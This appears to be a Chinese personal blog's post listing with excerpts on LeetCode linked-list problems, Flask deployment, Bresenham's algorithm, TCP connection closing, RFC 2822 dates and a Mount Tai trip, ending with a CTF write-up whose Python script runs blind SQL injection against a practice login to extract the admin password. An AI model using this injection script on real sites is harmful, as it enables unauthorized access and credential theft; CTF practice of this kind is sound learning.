leetcode 206 反转链表

比较简单的题目

迭代写法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

/**
 * Definition for singly-linked list.
 * struct ListNode {
 *     int val;
 *     ListNode *next;
 *     ListNode(int x) : val(x), next(NULL) {}
 * };
 */
class Solution {
public:
    ListNode* reverseList(ListNode* head) {
        ListNode* pre=NULL,*next=NULL,*cur=head;
        while(cur){
            next=cur->next;
            cur->next=pre;
            //pre->next=next;
            pre=cur;
            cur=next;
        }
        return pre;
    }
};

递归写法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

/**
 * Definition for singly-linked list.
 * struct ListNode {
 *     int val;
 *     ListNode *next;
 *     ListNode(int x) : val(x), next(NULL) {}
 * };
 */
class Solution {
public:
    ListNode* reverseList(ListNode* head) {
        if(head==NULL||head->next==NULL) return head;
        ListNode* newhead=reverseList(head->next);
        head->next->next=head;
        head->next=NULL;
        return newhead;
    }
};

leetcode 109 将排序链表转换成平衡二叉搜索树

没得思路，猜一下，将排序链表平分，前面的作为左子树，后面的作为右子树，中间的作为根节点。

找链表中间的节点的思路: 前两篇提到过,快慢指针

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

/**
 * Definition for singly-linked list.
 * struct ListNode {
 *     int val;
 *     ListNode *next;
 *     ListNode(int x) : val(x), next(NULL) {}
 * };
 */
/**
 * Definition for a binary tree node.
 * struct TreeNode {
 *     int val;
 *     TreeNode *left;
 *     TreeNode *right;
 *     TreeNode(int x) : val(x), left(NULL), right(NULL) {}
 * };
 */
class Solution {
public:
    TreeNode* helper(ListNode* head,ListNode* end){
        if(head==end) return NULL;
        ListNode* slow=head,*fast=head;
        while(fast!=end&&fast->next!=end){
            slow=slow->next;
            fast=fast->next->next;
        }
        
        TreeNode* root=new TreeNode(slow->val);
        root->left=helper(head,slow);
        root->right=helper(slow->next,end);
        return root;
    }
    
    
    TreeNode* sortedListToBST(ListNode* head) {
        if(!head) return NULL;
        return helper(head,NULL);
    }
};

最快的代码是利用数字表示位置，逐步逼近链表中点的，不过优化的效果不是很明显(小声比比),不优化了

leetcode 141 142 列表成环问题

leetcode 141 判断列表是否有环

列表的题目好多都是利用快慢指针来进行的，这个也不例外
分别设置一个快指针，一个慢指针，快指针每次走两步，慢指针每次走一步，假如慢指针最终和快指针相遇，则证明有环

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

/**
 * Definition for singly-linked list.
 * struct ListNode {  
 *     int val;  
 *     ListNode *next;  
 *     ListNode(int x) : val(x), next(NULL) {}  
 * };
 */
class Solution {
public:
    bool hasCycle(ListNode *head) {
        ListNode* slow=head,*fast=head;
        while(fast&&fast->next){
            slow=slow->next;
            fast=fast->next->next;
            if(slow==fast)
            {
                return true;
            }
        }
        return false;
    }
};

leetcode 142 找出环的位置来

leetcode 143 reorder list 笔记

Example 1:
Given 1->2->3->4, reorder it to 1->4->2->3.
Example 2:
Given 1->2->3->4->5, reorder it to 1->5->2->4->3.

看题目要求很好看懂，就是将一个链表分为两个部分，后面的部分倒序依次插入到前面的链表中。

1. 因为是将后面的链表倒序放置到前面的链表中，所以想到用堆栈。将所有元素全部遍历一边，同时全部推入到堆栈中。此时可以求出链表的长度 n，循环 n/2 次，分别从堆栈中弹出一个元素，挂到前面的链表中。** 注意 一定要将最后一个链表节点的 next 指针置为空**
2. 前面的方法中，将所有的元素都推入了堆栈，实际只用到一半的元素。由于多推入了一半的元素，导致入栈时间增多，时间复杂度增加；同时堆栈的规模也增大，所以空间复杂度也增加。所以我们考虑从链表中间开始入栈。

第一种方法

flask+apache2+wsgi+python3 部署（挖坑记）

昨天小伙伴要我帮忙写一个网页用来查询成绩，给的格式xlxs文件，我一想，思路很简单： 1. 把数据转换成数据库 2. 写个表单，传递查询学号 3. 后台用数据库查询 4. 把网站部署到服务器上

于是就有....

xlxs 转换成数据库

本身数据就没有多少，所以我决定使用sqlite3,完全够用，有三种思路:
1. Excel文件另存为csv文件，然后使用sqlite导入 .import data.csv tablename
2. 使用openpyxl库读取Excel文件，然后逐条插入到数据库中 3. 但我google发现了一个xls2db的库，使用两行代码进行转换 from xls2db import xls2db xls2db("data.xlxs","student.db")

Bresenham 算法

因为使用c/c++的话，图形库要么太大材小用，要么就是太古老，因此决定使用python 的pillow库来实现文章中的算法，但是后来发现pyplot库比较形象

概述

我们都知道显示器显示的画面都是由像素组成的，像素都是一个一个小的方块组成的，而我们之所以感觉不到方块的存在的原因是像素方块足够小，同样大小的屏幕，像素点越小，也就是分辨率越高，画面也更好。那么计算机是怎样画出一条直线的呢？ 上面图就是我们平时看到的直线的像素组成，一条直线其实是由许多像素方块组成的，那么怎么计算涂那些像素方块，才可以让最后的“直线”更像直线呢？

按照正常思路，一条直线的方程是点斜式方程，(y=kx+b)

sscap 关闭之后再次打开提示端口占用

这篇文章只是分析一下这个问题的原因，并没有真正的解决！！ sscap 作为shadowsocks的替代品可以说是非常棒的，可以批量导入大量的节点，然后批量ping检测，找出能用的节点，假如找到免费的大量ssr节点，用起来超级爽，但是也有好多问题，其中一个问题就是sscap 关闭之后再次打开有时候会提示端口占用。

经常有那么几次，关闭之后，再次打开就会提示端口占用，可是没有什么端口使用1080了啊？于是我打开 process hacker 2,发现有几个连接处于 waiting connection 的状态，于是就等啊等，一直等到这几个连接从等待状态彻底关闭。今天看《python 网络编程》突然看到一段话，瞬间想到这个问题。

tcp 的关闭是四次握手，但是最后一次握手是否能够正常发送到对面呢？这个是无法保证的。比如说

上图中的最后一个ACK包从A发送到B，如何确保B收到呢？假如使B接收到最后一个ACK包时，再回复A一个数据包，那么有怎样确保A能收到这个数据包呢？这样就变成了一种死循环。所以说tcp 的关闭其实并不是绝对可靠的。因此在应用程序关闭套接字之后，操作系统会接手这些套接字，修改他们的状态为“等待”，这个状态持续大约4分钟，或短或长，之后操作系统才会真的关闭他们。

编程时注意

RFC 文档时间格式的阅读方法

群里突然有小伙伴问起 rfc 822/2822 时间格式，瞬间百度了一下，然后就决定了google一下，搜索了官方的RFC文档，耐心地思考了一下RFC时间格式的阅读方法,做个笔记吧！

RFC 2822 date format

以 RFC 2822 时间格式做个例子: 文档位置
php中的时间格式（参考对照）

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

3.3. Date and Time Specification

   Date and time occur in several header fields.  This section specifies
   the syntax for a full date and time specification.  Though folding
   white space is permitted throughout the date-time specification, it
   is RECOMMENDED that a single space be used in each place that FWS
   appears (whether it is required or optional); some older
   implementations may not interpret other occurrences of folding white
   space correctly.

date-time       =       [ day-of-week "," ] date FWS time [CFWS]  #日期-时间的格式是：  [周几，（可选）] 日期 空白符 时间 空白符

day-of-week     =       ([FWS] day-name) / obs-day-of-week  #以前叫做 day-of-week，现在废弃，改为下面的 day-name 

day-name        =       "Mon" / "Tue" / "Wed" / "Thu" / #周几
                        "Fri" / "Sat" / "Sun"

date            =       day month year  #日期 天 月 年，用空格隔开

year            =       4*DIGIT / obs-year  #日期种的年是一个4位数，这个已经废弃，因为包含在上面了

month           =       (FWS month-name FWS) / obs-month  #月份数，前后都有空白字符，已经废弃，改为下面的month-name了

month-name      =       "Jan" / "Feb" / "Mar" / "Apr" / #月份
                        "May" / "Jun" / "Jul" / "Aug" /
                        "Sep" / "Oct" / "Nov" / "Dec"

day             =       ([FWS] 1*2DIGIT) / obs-day  #天，一个2位整数，已经废弃，包含在date中

time            =       time-of-day FWS zone #时间的格式是： 当日时间 空格 时区

time-of-day     =       hour ":" minute [ ":" second ]  # 当日时间 格式是: 小时:分钟:[秒(可选)]

hour            =       2DIGIT / obs-hour #小时 2位整数，已经废弃，被包含在上面

minute          =       2DIGIT / obs-minute # 分钟，2位整数，已经废弃，被包含在上面了

second          =       2DIGIT / obs-second #秒，2位整数，已经废弃，被包含在上面了

zone            =       (( "+" / "-" ) 4DIGIT) / obs-zone #时区，带加减符号的4位整数，已经废弃，包含在上面了

爬泰山

想去爬泰山很久了，几年前下定了决心，结果一场雨直接浇灭了爬泰山的热情，拖来拖去，一直到了前几天，天时地利人和，万事俱备，只差行动了。

去程

2018-9-22 10 点左右出发，在中午搭乘火车。火车上看了《人类清除计划4》，发现是一步妥妥的烂片，什么鬼东西，电影的主要内容就是走火入魔的科学家想要通过让人类自相残杀来减少人口，一个在街头卖毒品的黑社会大哥毅然决然地开始拯救人类。这种电影居然能拍第四部，简直是一件奇事。由于影片太烂，断断续续分了好多次看完的。
不知道原始社会的人类有没有所谓的空闲时间，还是需要一直忙碌着准备食物，维持生存。想起《禅与摩托车维修手册》中的一段话，大意是汽车旅行中，汽车与旅途中的自然景物是有很大距离的，因为车可以作为一个封闭的空间，人在空间内，旅途的景色在空间外。而骑摩托车旅行是与景色没有距离的，摩托车与人是在景色的空间里面的。现在换成了火车，火车车厢密闭狭小的空间，加上人们可以通过手机自给自足，所以人们可以毫无交流地坐在一起5、6个小时。所以坐火车是一件非常无聊的事情，要么玩手机，要么玩kindle,除此之外，最大的乐趣就是观察人了，比如座位对面玩王者荣耀的小哥手上布满了好看的纹身，手指上还有一个酷酷的十字架；斜后方有个高中生在背诵文言文等等。

泰安

sql injection to find password

题目地址:https://introctf.herokuapp.com/chall/2

一个靶机上有两道题目，第一道很简单，就是sql注入登陆即可，第二道用到了sql中的exists like 猜解密码
参考地址

写个python脚本磕磕绊绊用了一下午才调试成功，主要是单线程太慢，多线程又有许多的限制没有搞定
简单说一下多线程的几个坑：
1. 因为爆破的是一个密码，所以在修改密码的时候只能有一个线程修改密码，密码需要一个互斥量
2. 线程不能太多，需要控制线程数，所以需要一个互斥量来控制线程数
3. 因为flag中会有'_'字符，但是在sql中的like 子句中 _代表的是任意一个字符，所以需要使用转移语法
4. ** 假如你的程序越来越慢，最后卡死的话，不妨检查检查互斥量的值是不是一直减少，线程数逐渐减少**

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101

import requests
import string
import threading



maxconnection=5
connection_lock=threading.BoundedSemaphore(value=maxconnection)
passwdlock=threading.Semaphore(1)
foundlock=threading.Semaphore(1)



url='https://ctfprob2.herokuapp.com/bobsadminpage/login.php'
dictionary=string.ascii_letters+'{}'+string.digits+'_'






passwd="fl"
#bug1=flag{sql_1nJ3C
Found=False
#final password: flag{sql_1nJ3C710N_1S_k3WL}

def brutepassword(d):
    global passwd
    global Found
    if Found:
        #一定要添加connection_lock.release()，否则直接return false,导致互斥量越来越少，最终只剩下主进程，陷入无限死循环中
        connection_lock.release()
        return False
    data={'username':'admin','password':''}
    if d=='_':
        d='/_'
    #使用了escape 定义了转义符为/,所以like中的'/_'代表就是转义字符'_'
    data['password']="' or exists(select * from users where username='admin' and password like '" +passwd+d+"%' escape '/') and ''='"
    html=requests.post(url,data=data).text
    if 'script' in html:#right
        Found=True
        #passwdlock.acquire()
        #因为有的时候d会被转义是两个字符'\_',但是我们只需要最后一个字符就可以了
        passwd=passwd+d[-1]
        #passwdlock.release()
        print('current password: '+passwd)
        if(d=='}'):
            print('final password: '+passwd)
            exit(0)
    else:
        #print("wrong word: "+passwd+d)
        pass
    
    connection_lock.release()







def main():
    global Found
    global passwd
    
    #thread=[]
    #p=Pool(processes=5) 244
    while True:
        for d in dictionary:
            connection_lock.acquire()
            t=threading.Thread(target=brutepassword,args=d)
            num=threading.active_count()
            #print(num)
            #print(connection_lock._value)
            #print(connection_lock)
            t.start()
            #thread.append(t)
            #p.apply_async(func,args=d)
            if Found:
                #foundlock.release()
                break
    

        Found=False

        if '}' in passwd:
            break



if __name__ == '__main__':
    main()
    '''
    p=Pool(4)
    while True:
        for i in range(10):
            p.apply_async(func,str(i))

    p.close()
    p.join()
    '''